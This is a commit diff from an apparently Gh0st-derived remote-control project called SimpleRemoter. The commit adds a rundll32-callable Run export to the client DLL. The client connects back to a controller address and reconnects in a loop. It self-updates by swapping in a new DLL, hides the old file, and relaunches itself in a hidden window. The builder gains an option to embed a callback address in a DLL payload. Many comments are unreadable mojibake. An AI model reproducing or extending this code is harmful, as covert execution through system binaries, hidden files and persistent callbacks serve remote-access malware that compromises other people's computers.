admin/SimpleRemoter
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

feat: Support rundll32.exe to call ServerDll.dll

Browse Source
This commit is contained in:
yuanyuanxiang
2024-12-29 20:47:14 +08:00
parent cba61fab7e
commit 7df66348b3
5 changed files with 133 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
ReadMe.md
View File

@@ -299,7 +299,7 @@ reorg: Move commands to common/commands.h
增加显示被控程序"类型"的功能：如果被控程序为单个EXE则显示为"EXE"，如果被控程序为EXE调用动态库形式，则显示为"DLL".
当前，只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。
在动态链接库中增加导出函数Run，以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。

107
client/ClientDll.cpp
View File

@@ -7,6 +7,13 @@
#include <IOSTREAM>
#include "LoginServer.h"
#include "KernelManager.h"
#include <iosfwd>
#include <vector>
#include <iostream>
#include <fstream>
#include <sstream>
#include <shellapi.h>
#include <corecrt_io.h>
using namespace std;
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
@@ -165,7 +172,10 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
g_bExit = FALSE;
g_SETTINGS.SetServer(szServerIP, uPort);
if (strlen(szServerIP)>0 && uPort>0)
{
g_SETTINGS.SetServer(szServerIP, uPort);
}
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
@@ -173,7 +183,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, 200);
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
@@ -189,6 +199,99 @@ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
// copy from: SimpleRemoter\client\test.cpp
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
void RunNewDll(const char* cmdLine) {
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1)
{
if (!DeleteFileA(oldFile.c_str()))
{
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
if (_access(path, 0) != -1)
{
ok = FALSE;
}
}
else {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << oldFile << std::endl;
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
MoveFileA(oldFile.c_str(), path);// recover
}
else if (ok) {
std::cout << "Using new file: " << newFile << std::endl;
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
}else if (g_SETTINGS.IsValid())
{
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1)
{
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
return;
}
do
{
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
while (!IsStoped())
Sleep(20);
} while (!IsExit());
if (IsExit() == 1)
return;
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
RunNewDll(message);
}
#endif
DWORD WINAPI StartClient(LPVOID lParam)

1
client/ExportFunTable.def
View File

@@ -1,3 +1,4 @@
EXPORTS
TestRun
StopRun
Run

1
common/commands.h
View File

@@ -140,6 +140,7 @@ enum
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS

29
server/2015Remote/BuildDlg.cpp
View File

@@ -54,7 +54,21 @@ void CBuildDlg::OnBnClickedOk()
DWORD dwFileSize;
UpdateData(TRUE);
int index = m_ComboExe.GetCurSel();
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
CString file;
switch (index)
{
case CLIENT_TYPE_DLL:
file = "TestRun.exe";
break;
case CLIENT_TYPE_ONE:
file = "ghost.exe";
break;
case CLIENT_TYPE_MODULE:
file = "ServerDll.dll";
break;
default:
break;
}
if (file.IsEmpty())
{
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
@@ -107,7 +121,13 @@ void CBuildDlg::OnBnClickedOk()
}
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
strcpy(p+1, "ClientDemo.exe");
if (index == CLIENT_TYPE_MODULE)
{
strcpy(p + 1, "ClientDemo.dll");
}
else {
strcpy(p + 1, "ClientDemo.exe");
}
strSeverFile = path;
DeleteFileA(path);
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
@@ -157,8 +177,9 @@ BOOL CBuildDlg::OnInitDialog()
CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
m_ComboExe.InsertString(0, "TestRun.exe");
m_ComboExe.InsertString(1, "ghost.exe");
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
m_ComboExe.SetCurSel(0);
return TRUE; // return TRUE unless you set the focus to a control